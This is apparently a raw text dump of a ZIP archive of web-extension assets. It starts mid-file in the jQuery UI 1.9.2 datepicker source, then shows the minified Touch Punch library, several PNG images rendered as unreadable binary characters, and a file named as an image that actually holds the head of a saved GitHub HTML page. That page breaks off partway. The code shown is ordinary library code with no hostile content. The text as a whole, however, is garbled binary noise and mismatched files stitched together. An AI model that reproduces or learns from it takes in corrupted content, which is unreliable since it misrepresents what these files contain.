'</a>')) + '</td>'; // display selectable
date
printDate.setDate(printDate.getDate() + 1);
printDate = this._daylightSavingAdjust(printDate);
}
calender += tbody + '</tr>';
}
drawMonth++;
if (drawMonth > 11) {
drawMonth = 0;
drawYear++;
}
calender += '</tbody></table>' + (isMultiMonth ?
'</div>' +
((numMonths[0] > 0 && col == numMonths[1]-1) ?
'<div
class="ui-datepicker-row-break"></div>' :
'') : '');
group += calender;
}
html += group;
}
html += buttonPanel + ($.ui.ie6 && !inst.inline ?
'<iframe src="javascript:false;"
class="ui-datepicker-cover"
frameborder="0"></iframe>' : '');
inst._keyEvent = false;
return html;
},
/* Generate the month and year header. */
_generateMonthYearHeader: function(inst, drawMonth, drawYear, minDate,
maxDate,
secondary, monthNames, monthNamesShort) {
var changeMonth = this._get(inst, 'changeMonth');
var changeYear = this._get(inst, 'changeYear');
var showMonthAfterYear = this._get(inst, 'showMonthAfterYear');
var html = '<div class="ui-datepicker-title">';
var monthHtml = '';
// month selection
if (secondary || !changeMonth)
monthHtml += '<span
class="ui-datepicker-month">' + monthNames[drawMonth] +
'</span>';
else {
var inMinYear = (minDate && minDate.getFullYear() == drawYear);
var inMaxYear = (maxDate && maxDate.getFullYear() == drawYear);
monthHtml += '<select class="ui-datepicker-month"
data-handler="selectMonth"
data-event="change">';
for (var month = 0; month < 12; month++) {
if ((!inMinYear || month >= minDate.getMonth()) &&
(!inMaxYear || month <= maxDate.getMonth()))
monthHtml += '<option value="' + month +
'"' +
(month == drawMonth ? ' selected="selected"' :
'') +
'>' + monthNamesShort[month] +
'</option>';
}
monthHtml += '</select>';
}
if (!showMonthAfterYear)
html += monthHtml + (secondary || !(changeMonth && changeYear) ?
' ' : '');
// year selection
if ( !inst.yearshtml ) {
inst.yearshtml = '';
if (secondary || !changeYear)
html += '<span class="ui-datepicker-year">' +
drawYear + '</span>';
else {
// determine range of years to display
var years = this._get(inst,
'yearRange').split(':');
var thisYear = new Date().getFullYear();
var determineYear = function(value) {
var year = (value.match(/c[+-].*/) ? drawYear +
parseInt(value.substring(1), 10) :
(value.match(/[+-].*/) ? thisYear + parseInt(value, 10) :
parseInt(value, 10)));
return (isNaN(year) ? thisYear : year);
};
var year = determineYear(years[0]);
var endYear = Math.max(year, determineYear(years[1] || ''));
year = (minDate ? Math.max(year, minDate.getFullYear()) : year);
endYear = (maxDate ? Math.min(endYear, maxDate.getFullYear()) :
endYear);
inst.yearshtml += '<select class="ui-datepicker-year"
data-handler="selectYear"
data-event="change">';
for (; year <= endYear; year++) {
inst.yearshtml += '<option value="' + year +
'"' +
(year == drawYear ? ' selected="selected"' :
'') +
'>' + year + '</option>';
}
inst.yearshtml += '</select>';
html += inst.yearshtml;
inst.yearshtml = null;
}
}
html += this._get(inst, 'yearSuffix');
if (showMonthAfterYear)
html += (secondary || !(changeMonth && changeYear) ?
' ' : '') + monthHtml;
html += '</div>'; // Close datepicker_header
return html;
},
/* Adjust one of the date sub-fields. */
_adjustInstDate: function(inst, offset, period) {
var year = inst.drawYear + (period == 'Y' ? offset : 0);
var month = inst.drawMonth + (period == 'M' ? offset : 0);
var day = Math.min(inst.selectedDay, this._getDaysInMonth(year, month)) +
(period == 'D' ? offset : 0);
var date = this._restrictMinMax(inst,
this._daylightSavingAdjust(new Date(year, month, day)));
inst.selectedDay = date.getDate();
inst.drawMonth = inst.selectedMonth = date.getMonth();
inst.drawYear = inst.selectedYear = date.getFullYear();
if (period == 'M' || period == 'Y')
this._notifyChange(inst);
},
/* Ensure a date is within any min/max bounds. */
_restrictMinMax: function(inst, date) {
var minDate = this._getMinMaxDate(inst, 'min');
var maxDate = this._getMinMaxDate(inst, 'max');
var newDate = (minDate && date < minDate ? minDate : date);
newDate = (maxDate && newDate > maxDate ? maxDate : newDate);
return newDate;
},
/* Notify change of month/year. */
_notifyChange: function(inst) {
var onChange = this._get(inst, 'onChangeMonthYear');
if (onChange)
onChange.apply((inst.input ? inst.input[0] : null),
[inst.selectedYear, inst.selectedMonth + 1, inst]);
},
/* Determine the number of months to show. */
_getNumberOfMonths: function(inst) {
var numMonths = this._get(inst, 'numberOfMonths');
return (numMonths == null ? [1, 1] : (typeof numMonths ==
'number' ? [1, numMonths] : numMonths));
},
/* Determine the current maximum date - ensure no time components are set.
*/
_getMinMaxDate: function(inst, minMax) {
return this._determineDate(inst, this._get(inst, minMax +
'Date'), null);
},
/* Find the number of days in a given month. */
_getDaysInMonth: function(year, month) {
return 32 - this._daylightSavingAdjust(new Date(year, month,
32)).getDate();
},
/* Find the day of the week of the first of a month. */
_getFirstDayOfMonth: function(year, month) {
return new Date(year, month, 1).getDay();
},
/* Determines if we should allow a "next/prev" month display
change. */
_canAdjustMonth: function(inst, offset, curYear, curMonth) {
var numMonths = this._getNumberOfMonths(inst);
var date = this._daylightSavingAdjust(new Date(curYear,
curMonth + (offset < 0 ? offset : numMonths[0] * numMonths[1]), 1));
if (offset < 0)
date.setDate(this._getDaysInMonth(date.getFullYear(), date.getMonth()));
return this._isInRange(inst, date);
},
/* Is the given date in the accepted range? */
_isInRange: function(inst, date) {
var minDate = this._getMinMaxDate(inst, 'min');
var maxDate = this._getMinMaxDate(inst, 'max');
return ((!minDate || date.getTime() >= minDate.getTime()) &&
(!maxDate || date.getTime() <= maxDate.getTime()));
},
/* Provide the configuration settings for formatting/parsing. */
_getFormatConfig: function(inst) {
var shortYearCutoff = this._get(inst, 'shortYearCutoff');
shortYearCutoff = (typeof shortYearCutoff != 'string' ?
shortYearCutoff :
new Date().getFullYear() % 100 + parseInt(shortYearCutoff, 10));
return {shortYearCutoff: shortYearCutoff,
dayNamesShort: this._get(inst, 'dayNamesShort'), dayNames:
this._get(inst, 'dayNames'),
monthNamesShort: this._get(inst, 'monthNamesShort'),
monthNames: this._get(inst, 'monthNames')};
},
/* Format the given date for display. */
_formatDate: function(inst, day, month, year) {
if (!day) {
inst.currentDay = inst.selectedDay;
inst.currentMonth = inst.selectedMonth;
inst.currentYear = inst.selectedYear;
}
var date = (day ? (typeof day == 'object' ? day :
this._daylightSavingAdjust(new Date(year, month, day))) :
this._daylightSavingAdjust(new Date(inst.currentYear, inst.currentMonth,
inst.currentDay)));
return this.formatDate(this._get(inst, 'dateFormat'), date,
this._getFormatConfig(inst));
}
});
/*
* Bind hover events for datepicker elements.
* Done via delegate so the binding only occurs once in the lifetime of the
parent div.
* Global instActive, set by _updateDatepicker allows the handlers to find
their way back to the active picker.
*/
function bindHover(dpDiv) {
var selector = 'button, .ui-datepicker-prev, .ui-datepicker-next,
.ui-datepicker-calendar td a';
return dpDiv.delegate(selector, 'mouseout', function() {
$(this).removeClass('ui-state-hover');
if (this.className.indexOf('ui-datepicker-prev') != -1)
$(this).removeClass('ui-datepicker-prev-hover');
if (this.className.indexOf('ui-datepicker-next') != -1)
$(this).removeClass('ui-datepicker-next-hover');
})
.delegate(selector, 'mouseover', function(){
if (!$.datepicker._isDisabledDatepicker( instActive.inline ?
dpDiv.parent()[0] : instActive.input[0])) {
$(this).parents('.ui-datepicker-calendar').find('a').removeClass('ui-state-hover');
$(this).addClass('ui-state-hover');
if (this.className.indexOf('ui-datepicker-prev') != -1)
$(this).addClass('ui-datepicker-prev-hover');
if (this.className.indexOf('ui-datepicker-next') != -1)
$(this).addClass('ui-datepicker-next-hover');
}
});
}
/* jQuery extend now ignores nulls! */
function extendRemove(target, props) {
$.extend(target, props);
for (var name in props)
if (props[name] == null || props[name] == undefined)
target[name] = props[name];
return target;
};
/* Invoke the datepicker functionality.
@param options string - a command, optionally followed by additional
parameters or
Object - settings for attaching new datepicker
functionality
@return jQuery object */
$.fn.datepicker = function(options){
/* Verify an empty collection wasn't passed - Fixes #6976 */
if ( !this.length ) {
return this;
}
/* Initialise the date picker. */
if (!$.datepicker.initialized) {
$(document).mousedown($.datepicker._checkExternalClick).
find(document.body).append($.datepicker.dpDiv);
$.datepicker.initialized = true;
}
var otherArgs = Array.prototype.slice.call(arguments, 1);
if (typeof options == 'string' && (options ==
'isDisabled' || options == 'getDate' || options ==
'widget'))
return $.datepicker['_' + options + 'Datepicker'].
apply($.datepicker, [this[0]].concat(otherArgs));
if (options == 'option' && arguments.length == 2
&& typeof arguments[1] == 'string')
return $.datepicker['_' + options + 'Datepicker'].
apply($.datepicker, [this[0]].concat(otherArgs));
return this.each(function() {
typeof options == 'string' ?
$.datepicker['_' + options + 'Datepicker'].
apply($.datepicker, [this].concat(otherArgs)) :
$.datepicker._attachDatepicker(this, options);
});
};
$.datepicker = new Datepicker(); // singleton instance
$.datepicker.initialized = false;
$.datepicker.uuid = new Date().getTime();
$.datepicker.version = "1.9.2";
// Workaround for #4055
// Add another global to avoid noConflict issues with inline event handlers
window['DP_jQuery_' + dpuuid] = $;
})(jQuery);
PK�v�[�}r&assets/js/jquery.ui.touch-punch.min.jsnu�[���/*!
* jQuery UI Touch Punch 0.2.3
*
* Copyright 2011–2014, Dave Furfero
* Dual licensed under the MIT or GPL Version 2 licenses.
*
* Depends:
* jquery.ui.widget.js
* jquery.ui.mouse.js
*/
!function(a){function
f(a,b){if(!(a.originalEvent.touches.length>1)){a.preventDefault();var
c=a.originalEvent.changedTouches[0],d=document.createEvent("MouseEvents");d.initMouseEvent(b,!0,!0,window,1,c.screenX,c.screenY,c.clientX,c.clientY,!1,!1,!1,!1,0,null),a.target.dispatchEvent(d)}}if(a.support.touch="ontouchend"in
document,a.support.touch){var
e,b=a.ui.mouse.prototype,c=b._mouseInit,d=b._mouseDestroy;b._touchStart=function(a){var
b=this;!e&&b._mouseCapture(a.originalEvent.changedTouches[0])&&(e=!0,b._touchMoved=!1,f(a,"mouseover"),f(a,"mousemove"),f(a,"mousedown"))},b._touchMove=function(a){e&&(this._touchMoved=!0,f(a,"mousemove"))},b._touchEnd=function(a){e&&(f(a,"mouseup"),f(a,"mouseout"),this._touchMoved||f(a,"click"),e=!1)},b._mouseInit=function(){var
b=this;b.element.bind({touchstart:a.proxy(b,"_touchStart"),touchmove:a.proxy(b,"_touchMove"),touchend:a.proxy(b,"_touchEnd")}),c.call(b)},b._mouseDestroy=function(){var
b=this;b.element.unbind({touchstart:a.proxy(b,"_touchStart"),touchmove:a.proxy(b,"_touchMove"),touchend:a.proxy(b,"_touchEnd")}),d.call(b)}}}(jQuery);PK�v�[N0�{��assets/images/tree-rtl-bg.pngnu�[����PNG
IHDRQ'�
btEXtSoftwareAdobe
ImageReadyq�e<"iTXtXML:com.adobe.xmp<?xpacket
begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP
Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about=""
xmlns:xmp="http://ns.adobe.com/xap/1.0/"
xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#"
xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"
xmpMM:InstanceID="xmp.iid:D4736FF8E1E511E6A7CA8F594CB160B7"
xmpMM:DocumentID="xmp.did:D4736FF9E1E511E6A7CA8F594CB160B7">
<xmpMM:DerivedFrom
stRef:instanceID="xmp.iid:D4736FF6E1E511E6A7CA8F594CB160B7"
stRef:documentID="xmp.did:D4736FF7E1E511E6A7CA8F594CB160B7"/>
</rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket
end="r"?>���hIDATx���1
�0�V<I��\%*�*uPT�_�4<]�^U�j2s+}���@
�@ �G�=�nG�㊈Ӧ���C �@
��"��z>q��IEND�B`�PK�v�[2�}^^)assets/images/ui-icons_444444_256x240.pngnu�[����PNG
IHDR�E�r@gAMA���abKGDD�<��tIME�
6�FmIDATx��{leG}�?g�K�Ɇ^CKd�*�M��&6"�R庅� ���T�*�Id��T��JyT�������[$�Q�Q�Ї%j!�Y�ҦP�R�U���%p��y͜3�sν���w����͜��&x/MƁA�c���px�1A�Ġ���
b�-`�I"�k|��
�s�D'Iʃ�c!�Y��?l�G?�s�І��0�Z
"�o�"`Jy�t�(�P��5RH�&��<��m`����r�:�t
�b�t��<"�t�J�^��ߖwX��)�긏�i�t��ڇ�(wͩ�뛦!HL���2�Wͽ���F��w�)�����f��l�3�
����M���¶�g��δ��b�#�*`�1��(���.��a{4�v��+�
����@������pxh8�4~?@>�˿�(��mG��3a�`�Ξ:�����#%$��Y��M�gФ�k�6��R��}�S�����I(��MO��v�`*�9w{|3�8��s$
�P}����a��e?�����M/>�u�A���2�z�E@��.�y;ޖeƖ6vղE4�S���{m�8lUVύ3��<����A�q�`��xxh8�4^/
����@�᷅�p-��٩��?X/z_a�%�%�n
��@��!
����?@X�RU�?b}`L�.Uc��%T����껜���ȥ
����R��@�?��P�-`��Y�BKl�ub����Z}�n{#=P���oE�
LcJ���*��{���洳ڙ��X��NC��c�"���s��MrI�j���K�6(�˼f*�%��fV�v 6�aS�n*�փl��L"��.�v�T�2�Mu֛��Z�_e�
�-�!LU��i���{Phpt �s�����@������pxh8�4^�ph�,up���'\Z��"Z-��l�k.�� @rr���{����e+�[�\�fָ�ұ��y�:LTn�0WJ@}8�|��Ţ=�x�;Х��B_~���1�;^;Q*vV��w4�p@W>��N�v[�L�m'���t�.��%wsH��Y�趃�sT�C)e��Xg��a�N�U�ǯb
�U5AW�����2�ͽ��{K��:X�I�7+� @��7�6ӥ2Y:��+��'cj2���`�?H����jJ9;�n?/�3��05�<�1U�\8SMi�U�o�R��.��l�Hl�N�
&�n����r����WF�
g�1ıj���"��d��˵5Ց�l�M`���/@Ą�Ƥ��?"�;��h�4^/
����@�1Hsv��`�W�T}����ߨ_����=du/�0�d1w9��X�&��Q�p��xx`=�jg�.�)�![ �岔[4�f����vn�d���Ʒ���:s���h�Du��@=�m:0۫���ʦ���طM�}����OU���lJd
�[������l�ly�Pga꺠���[�:>>��LDkZ�Y���ֺ�c
h���?U!zӋU9��ch�8d���|��K�m�~c��=��^��
s�g��H2(ICT�P����[�
�KUa��t4�ڼk�M�t��x1��_&�>���P~����V����p���2��@���������pxh8�4^���ְ,�6yp�e�L6�U�EwO^��ahP�]��)f�Fy�$B�2���>��^��W�ͫ�I�n�U�@�.����E�<
���O�Us�n>��@d
�{/"���\�1�w�y�U{��w7��MrW�/�(ȧ��>�qHlY��=^�,Y ����;N��Ų�˟lf��#t|$�4�i���&�Q�J���sϗA��X4TR�F�#��M�w0b���Z =��0�H�j��ryz�V�(��5�nO��J&}<�v���!w�@d�O$���HQ�-��������c'���F�����h�/��
��yP
<��asᙴ�>[�Ǟ�@������p��L�+
S}I�
���6u��Hf�[e�rJZ,�6���v�e���ue�Z�q�7��]v��7�"0e-��z\���n� �3�r):r/��+B��l6}>�yM�ٹ�%�h�E�C��BX�Ը���l���%T��8/K�O��0׳��K���cm��y���1D��:�K�$_`M�
���5f�aIS����n���c�N�X"�!�R�LK"0����P�������q��AWN�VP��U���(�iJ�lƟ�6�ȗ��k\�=�ц8d����,�s��9IWl"���E���[�e8�5\e(���Y���"�r������q6�u- |��B���R��ix>��9�W�HD����g�t�K��G�|��2��"�.�t���V������E�u>�b�������f���a?q�h'y'r�y���ԫ�L�M��e�^��-�U=��-���³��K\
|
��_���W�*��*ƸJ�$��J�T=l��~��y��y�v�)��e���1~9�7V(��$�uڴ9@�;�[J�5�?*��pl!��x ���W�a-"T�-Vq�细�6
0�6�}[�S]%����7Q�K�D3"YO��M�6iv�Q�5C��t��/����7 �8�-*�"����_E�U�y0�x�+CxG�3�D��
�W�l�,>�O�l�<xB�+b�e�{�z������a�0b
�u���T����L=�`���yYf�0 ��@0J��
��pxh8�4^F����"��r8����͛n�RZԧ[v�-�P�7��/��E'�Z~�t����O�N�v��O�I����g���آ�4��؛��m�
��p���168,1ŢD/w�obۗ�O�i�ڻsK?�=<��B|W{|�~zOO�������*�t�q���uZt�%c�3�<?�,���֝��X�5Q"�Gִ����W}���
���Q>ʣ��C��b�YV
6=��*��ۿ�M\�����8hs�����������8��'Ϳ,�l������E�b���\Y�e���M6܈��d9u��J�ZĽj���l�}����&8�:s�ךt���yis���Gm�h-�m��k�2�P�J��e%u\j5���n���|���;����δa[�;�Хˎ�p�?�|�y��RaC$�_a�/��� N�uN�e�ƍ��Ȅp��~�Ú�/���k�������n�������3|��(G����".�s��9�J�ۇ��l�������{�6�)X���{�����SDf��<��|��0��a��ƅDP���
~j���gco�gs{;�����'�Z9�Z��.��O�孁���e���U�~?�Ӆ1N3��ڶD�(�� Ws�rW�g��h��0����)=c�9M���!
�Y��;�Qd��[��{.�h�_���5�؋�nF�7��0Q��O����S5�:�'���/��ա���J�r����
�}\�#<,�W���$�<��K��|�L�[�0pI���2��JS�_�݂��`�?��tɦ�'t�w6�1u�V��L�5��A��x���<F�7!�q]�'���~�y5��E��h8�-����pxh8�4���l�QP:�)�z�tt��}�X��i���^u�u�"�l���vW��
b�
��*�9ͻx��W
1��D�K��8�
|������pC!��}E~7C~?C�n1[�C�'I_O�� ,�J͞�D\\I�g�<˴��I6�*Q�����x�]�~�W)�^�~��(�B�y��\�ӑ�����ľ�U��k���:�ͅҍ2�
W�!�B�Ԝ�i�M֘�<�Ŏ�$��l2�&*�j�֞�_er=�M�?�'��OxSI��xj�_+]�t�+1�z
��ӡ;,ĶV��5�S��~'�L2ɏ����<gY�%ݼ�E���2z@wC����X�4�Y�ĺ̝zޞ��!Yg8�˅������O<�*5�>���x�2�Ht!6ɽV�\'�S��3�6����6���N���0����G�.����[PPwB����<����g�}�e)�H��U�C�xW\�~���`�9V8��!ٱ�b�����^�豨vh�M�J�/�!�6<�r�i�/���8��*��c¯y͐�J��>�S��j���c���
@��m���F�?�aֺ��k�b���e��bKT6�U����B�f�*�͘y�w �#q�JԄ�3�(��e>�B���~�d�{��fE����P��8�8�^�����:l�\���Z�nLBdC@�"zIj��o!~�Ħ�"�?ǝ��[��E��ؿfH��|�%�����#tY��Hͪ�!lc9^8<���˅h�:"����MF�eF���5p���f�覊�Yn�Yͣ�n��Fh�M1w8�N<�<�s w�?`[�J!Az^
?�<̯�oɛ�_s[Kg{(e�}�E�~J��,��<ܧ����U����
"&B%�7�~�{�/
G�l�4^���j���ιԒt���cA��0�/�����ܓ{�ܠ�Q�8��YN�Bݞ�?[���R��$�k���\�{�u���~�Q��q�)�8���z:G�G��UK�:�
07��6�-��
WMY<�����
���Ѱ۸(5�&v�}%��8�)#9&)/��K^2�)��B̳�)��V.jRps�n��B��^ߊט�4�m7�.�F�wQ�|餟*��<���m��O�c��&`8���t��۬f+�����6��D������h/��gr�\�2Nl�}��jH��R4�Ȫ��"�����fl׳��98�,˨�)��\Ԧ��27B��jcTf�褿[��1{��2��i�2�{Y���L�A�]~�L7��S�_��\4�ڞr����M���7��ɝA�R�k�9ٮ��Nl!l�
��Y����W� dH ���=Q����sԻ��"N�U�m�O`�;Ip�������+&R�@c�c$ᭁ
����@������pxȣc���@�
@���#��Օ����q�BǺ�a�A�V�B�F&<-m
VcKC�Ղ�ⷨ�/J)�D��P�E
�sg�ˮ�}����k<�\��{�x!�5�����}q�RX�L�]���/���
0�l)'�YT�:�Z����K-��Pxj�0I
:T�PQ)��ꦴ��5f�W9��3$
�!���l�IR�o0}?BQ�*6r��*3���a��!}����O�A���� C y������Q>B6W)Oݗ��<:�Xl��Cxh8�J`������pxh8�4y0���AdЊ]�^�u_����~
�c_"���9�1�J&�����p�D�\����`q��$AgY�|���y�P�9B�:Vg�EW�߲��~�=4��E�Mn��ָD[s;�2��t4�F�T���bw�x�C�!o�u�*8\W�_�ӏh���c�������؋�ڜ(�67��ǘ�����m�7���G�?���pM��6��#�xL��wE^DPk�$�3�eA�Y�~U��RA����A�vX��||hz�6k�)�X�(ONث��K��{J��
�F�alr�;h��1 �
0
���Gd���C�6�E�<��}���px[@������pxh82��P�~+��u��ߠ������K����7��4�2"���U�>���ou�6G�����~���@4d���cS��D��w�W�ޝ��!������5�B�������/��|�
�`�.��.�B͕�Ȼ�U;�������|Azһ�]���W��v��>`��
���_k�/yz/ГCj���bl�d���cu�Ȟ~�L͕���P�}��y5���
��'p�~~*�_�U#�!G��B
|V�:ĵ��>b���%��=A���y�Շ��*^_�b
�T�)}7
b�P��o��h�hh���~��r�M��/d���������.�?,<}T���U�'�_X����~u�% �� .(����?�6��s�'��Q<}R���V�A_U?[��w^U�H�_͕���8�+��Q���{]���n����K{F�w�M��H�k�pS����)\]��|�7iǿ��O ��z��7hze�
!
��6^/
����@�����A'ݣdk�X�mW�.�c�P�nךB���N�CB^l�e�HO�3�`c�Ηw�����C������c�鑇=B�&L��}C�GI���
�ȱ�)��6�( yh���=���T��=*�/5^/
����@����ؿ0��zY꯳�L2�rO��d�sid���
[�ؿ=�b�d؊�[���!\5@�D���?5"���0a����1h��-���ſr�v
���H�s�^A��LY���S��'E!��W���~?�ä<�W
P�ʱBΣ\5�^��]T�s����_�v���� Y���C���k�� ��z^yy^j%tEXtdate:create2016-09-14T13:33:16-04:00!
%tEXtdate:modify2016-07-13T05:26:54-04:000Lm�tEXtSoftwareAdobe
ImageReadyq�e<IEND�B`�PK�v�[<?B��assets/images/tree-bg.pngnu�[����PNG
IHDRQ���tEXtSoftwareAdobe
ImageReadyq�e<"iTXtXML:com.adobe.xmp<?xpacket
begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP
Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about=""
xmlns:xmp="http://ns.adobe.com/xap/1.0/"
xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#"
xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"
xmpMM:InstanceID="xmp.iid:F9D96D8DCE6911E68821B3447F1368B9"
xmpMM:DocumentID="xmp.did:F9D96D8ECE6911E68821B3447F1368B9">
<xmpMM:DerivedFrom
stRef:instanceID="xmp.iid:F9D96D8BCE6911E68821B3447F1368B9"
stRef:documentID="xmp.did:F9D96D8CCE6911E68821B3447F1368B9"/>
</rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket
end="r"?>�6�bIDATx��ױ
�0@1I��)���"��(�L�s\~VU�{���w����@
���]��2}<zL���7g_]9T3 �@
��&����U�6IEND�B`�PK�v�[�\�>!assets/images/tree-rtl-lv2-bg.pngnu�[����PNG
IHDR-QF�/ tEXtSoftwareAdobe
ImageReadyq�e<"iTXtXML:com.adobe.xmp<?xpacket
begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP
Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about=""
xmlns:xmp="http://ns.adobe.com/xap/1.0/"
xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#"
xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"
xmpMM:InstanceID="xmp.iid:051D03B0E1E611E6BFC9AAC84EBB5FE0"
xmpMM:DocumentID="xmp.did:051D03B1E1E611E6BFC9AAC84EBB5FE0">
<xmpMM:DerivedFrom
stRef:instanceID="xmp.iid:051D03AEE1E611E6BFC9AAC84EBB5FE0"
stRef:documentID="xmp.did:051D03AFE1E611E6BFC9AAC84EBB5FE0"/>
</rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket
end="r"?>j1R�IDATx���A
�
@Q�N2�?�\e,hQ��F���jzU��e�TD�CK�0hhhhhhhhhhhhhhhhhhhhhhhhh�yZ�63��Co�j���#���1f���������������������������m0B>p�"IEND�B`�PK�v�[���011!assets/images/tree-rtl-lv3-bg.pngnu�[����PNG
IHDRAQ�!��tEXtSoftwareAdobe
ImageReadyq�e<"iTXtXML:com.adobe.xmp<?xpacket
begin="" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP
Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
<rdf:Description rdf:about=""
xmlns:xmp="http://ns.adobe.com/xap/1.0/"
xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#"
xmp:CreatorTool="Adobe Photoshop CS6 (Windows)"
xmpMM:InstanceID="xmp.iid:3DDF0857E1E611E6A3E69D6A830EF14F"
xmpMM:DocumentID="xmp.did:3DDF0858E1E611E6A3E69D6A830EF14F">
<xmpMM:DerivedFrom
stRef:instanceID="xmp.iid:3DDF0855E1E611E6A3E69D6A830EF14F"
stRef:documentID="xmp.did:3DDF0856E1E611E6A3E69D6A830EF14F"/>
</rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket
end="r"?>�߾\�IDATx���A
� @Q�N2�?�\e,hQm{#n�jzU��e�TD�6AK @�
@� @� @�
@��A��ff����i��0�M���C�X��
@� @�A� @� @��!�
>*��hIEND�B`�PK�v�[��iqMqM6assets/images/ui-bg_highlight-soft_75_cccccc_1x100.pngnu�[���
<!DOCTYPE html>
<html lang="en" class=" is-u2f-enabled">
<head prefix="og: http://ogp.me/ns# fb: http://ogp.me/ns/fb#
object: http://ogp.me/ns/object# article: http://ogp.me/ns/article#
profile: http://ogp.me/ns/profile#">
<meta charset='utf-8'>
<link crossorigin="anonymous"
href="https://assets-cdn.github.com/assets/frameworks-c07e6f4b02b556d1d85052fb3853caf84c80e6b23dcdb1ae1b00f051da1115a2.css"
integrity="sha256-wH5vSwK1VtHYUFL7OFPK+EyA5rI9zbGuGwDwUdoRFaI="
media="all" rel="stylesheet" />
<link crossorigin="anonymous"
href="https://assets-cdn.github.com/assets/github-f7908bec66dc71ca22b3075562a80e472f6e9f39ab2bfcb7e5eee9f041237433.css"
integrity="sha256-95CL7GbcccoiswdVYqgORy9unzmrK/y35e7p8EEjdDM="
media="all" rel="stylesheet" />
<link crossorigin="anonymous"
href="https://assets-cdn.github.com/assets/site-293f92180d0a619a750fa2b5eae9e36740f5723a59c0ec308972c70d24e834fc.css"
integrity="sha256-KT+SGA0KYZp1D6K16unjZ0D1cjpZwOwwiXLHDSToNPw="
media="all" rel="stylesheet" />
<meta http-equiv="X-UA-Compatible"
content="IE=edge">
<meta http-equiv="Content-Language"
content="en">
<meta name="viewport"
content="width=device-width">
<title>django-grappelli/ui-bg_highlight-soft_75_cccccc_1x100.png
at grappelli_2_4 · sehmaschine/django-grappelli · GitHub</title>
<link rel="search"
type="application/opensearchdescription+xml"
href="/opensearch.xml" title="GitHub">
<link rel="fluid-icon"
href="https://github.com/fluidicon.png"
title="GitHub">
<link rel="apple-touch-icon"
href="/apple-touch-icon.png">
<link rel="apple-touch-icon" sizes="57x57"
href="/apple-touch-icon-57x57.png">
<link rel="apple-touch-icon" sizes="60x60"
href="/apple-touch-icon-60x60.png">
<link rel="apple-touch-icon" sizes="72x72"
href="/apple-touch-icon-72x72.png">
<link rel="apple-touch-icon" sizes="76x76"
href="/apple-touch-icon-76x76.png">
<link rel="apple-touch-icon" sizes="114x114"
href="/apple-touch-icon-114x114.png">
<link rel="apple-touch-icon" sizes="120x120"
href="/apple-touch-icon-120x120.png">
<link rel="apple-touch-icon" sizes="144x144"
href="/apple-touch-icon-144x144.png">
<link rel="apple-touch-icon" sizes="152x152"
href="/apple-touch-icon-152x152.png">
<link rel="apple-touch-icon" sizes="180x180"
href="/apple-touch-icon-180x180.png">
<meta property="fb:app_id"
content="1401488693436528">
<meta
content="https://avatars2.githubusercontent.com/u/185432?v=3&s=400"
name="twitter:image:src" /><meta
content="@github" name="twitter:site" /><meta
content="summary" name="twitter:card" /><meta
content="sehmaschine/django-grappelli"
name="twitter:title" /><meta content="django-grappelli
- A jazzy skin for the Django Admin-Interface (official repository)."
name="twitter:description" />
<meta
content="https://avatars2.githubusercontent.com/u/185432?v=3&s=400"
property="og:image" /><meta content="GitHub"
property="og:site_name" /><meta content="object"
property="og:type" /><meta
content="sehmaschine/django-grappelli"
property="og:title" /><meta
content="https://github.com/sehmaschine/django-grappelli"
property="og:url" /><meta content="django-grappelli -
A jazzy skin for the Django Admin-Interface (official repository)."
property="og:description" />
<meta name="browser-stats-url"
content="https://api.github.com/_private/browser/stats">
<meta name="browser-errors-url"
content="https://api.github.com/_private/browser/errors">
<link rel="assets"
href="https://assets-cdn.github.com/">
<meta name="pjax-timeout" content="1000">
<meta name="request-id"
content="71BEFEEF:27C5:199BC41A:587C97B2" data-pjax-transient>
<meta name="msapplication-TileImage"
content="/windows-tile.png">
<meta name="msapplication-TileColor"
content="#ffffff">
<meta name="selected-link" value="repo_source"
data-pjax-transient>
<meta name="google-site-verification"
content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU">
<meta name="google-site-verification"
content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA">
<meta name="google-analytics"
content="UA-3769691-2">
<meta content="collector.githubapp.com"
name="octolytics-host" /><meta content="github"
name="octolytics-app-id" /><meta
content="71BEFEEF:27C5:199BC41A:587C97B2"
name="octolytics-dimension-request_id" />
<meta
content="/<user-name>/<repo-name>/blob/show"
data-pjax-transient="true" name="analytics-location"
/>
<meta class="js-ga-set" name="dimension1"
content="Logged Out">
